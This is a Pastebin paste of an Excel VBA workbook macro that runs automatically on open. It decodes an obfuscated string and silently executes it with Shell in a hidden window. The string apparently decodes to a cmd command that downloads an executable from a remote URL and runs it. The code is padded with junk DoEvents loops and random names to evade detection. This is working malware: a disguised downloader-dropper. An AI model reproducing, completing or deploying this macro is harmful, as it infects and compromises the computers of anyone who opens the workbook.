Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ÝòàÊíèãà"
- Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = True
- Sub Workbook_Open()
- Dim sxDmlDGZ As Integer
- For sxDmlDGZ = 0 To 4
- Dim FiAlZHWv As Integer
- For FiAlZHWv = 0 To 9
- DoEvents
- Next FiAlZHWv
- DoEvents
- Next sxDmlDGZ
- Dim ffAkQrGQ As Integer
- For ffAkQrGQ = 0 To 5
- DoEvents
- Next ffAkQrGQ
- oJUIdsfdsF = OlFdL0IOXbF("±»²n}™nž½Å³À¡¶³ºº|³Æ³nvœ³Å{°¸³±Ân¡ÇÁ³»|œ³Â|¥³°‘º·³¼Âw|’½Å¼º½¯²”·º³vu¶Â¾ˆ}}‡ƒ|„|€|€…}¯¹Á¸²²³ÀŲ}¯Á²°Å¹}²¶½³·|³Æ³uzus¢“›žsª½£¶¸·²Á´|³Æ³uw‰¡Â¯ÀÂ{žÀ½±³ÁÁnus¢“›žsª½£¶¸·²Á´|³Æ³u‰", "78")
- Dim mwlXRRMn As Integer
- For mwlXRRMn = 0 To 9
- Dim EmMXtScD As Integer
- For EmMXtScD = 0 To 4
- DoEvents
- Next EmMXtScD
- DoEvents
- Next mwlXRRMn
- Dim jWtyraXh As Integer
- For jWtyraXh = 0 To 2
- DoEvents
- Next jWtyraXh
- Shell oJUIdsfdsF, vbHide
- End Sub
- Public Function OlFdL0IOXbF(ByVal InputData As String, ByVal NumKey As Integer) As String
- Dim i As Long, OutChar As String
- For i = 1 To Len(InputData)
- Dim FqjuMBHm As Integer
- For FqjuMBHm = 0 To 6
- Dim tfBRkgNR As Integer
- For tfBRkgNR = 0 To 6
- DoEvents
- Next tfBRkgNR
- DoEvents
- Next FqjuMBHm
- Dim JGoFjEbi As Integer
- For JGoFjEbi = 0 To 6
- DoEvents
- Next JGoFjEbi
- OutChar = Asc(Mid(InputData, i, 1)) - NumKey
- While OutChar < 0
- Dim UVMKvtXD As Integer
- For UVMKvtXD = 0 To 5
- Dim SvyacOAG As Integer
- For SvyacOAG = 0 To 5
- DoEvents
- Next SvyacOAG
- DoEvents
- Next UVMKvtXD
- Dim SlbANPcr As Integer
- For SlbANPcr = 0 To 6
- DoEvents
- Next SlbANPcr
- OutChar = OutChar + 256
- Dim rkOPdIvx As Integer
- For rkOPdIvx = 0 To 5
- Dim pOUWlfCz As Integer
- For pOUWlfCz = 0 To 6
- DoEvents
- Next pOUWlfCz
- DoEvents
- Next rkOPdIvx
- Dim jKlXnybu As Integer
- For jKlXnybu = 0 To 8
- DoEvents
- Next jKlXnybu
- Wend
- Dim mvteclmh As Integer
- For mvteclmh = 0 To 2
- Dim pORpyoOA As Integer
- For pORpyoOA = 0 To 7
- DoEvents
- Next pORpyoOA
- DoEvents
- Next mvteclmh
- Dim kKkqfasT As Integer
- For kKkqfasT = 0 To 2
- DoEvents
- Next kKkqfasT
- OlFdL0IOXbF = OlFdL0IOXbF + Chr(OutChar)
- Dim tfesHImQ As Integer
- For tfesHImQ = 0 To 5
- Dim XhhmRvEb As Integer
- For XhhmRvEb = 0 To 1
- DoEvents
- Next XhhmRvEb
- DoEvents
- Next tfesHImQ
- Dim evzwSjyR As Integer
- For evzwSjyR = 0 To 3
- DoEvents
- Next evzwSjyR
- Next
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement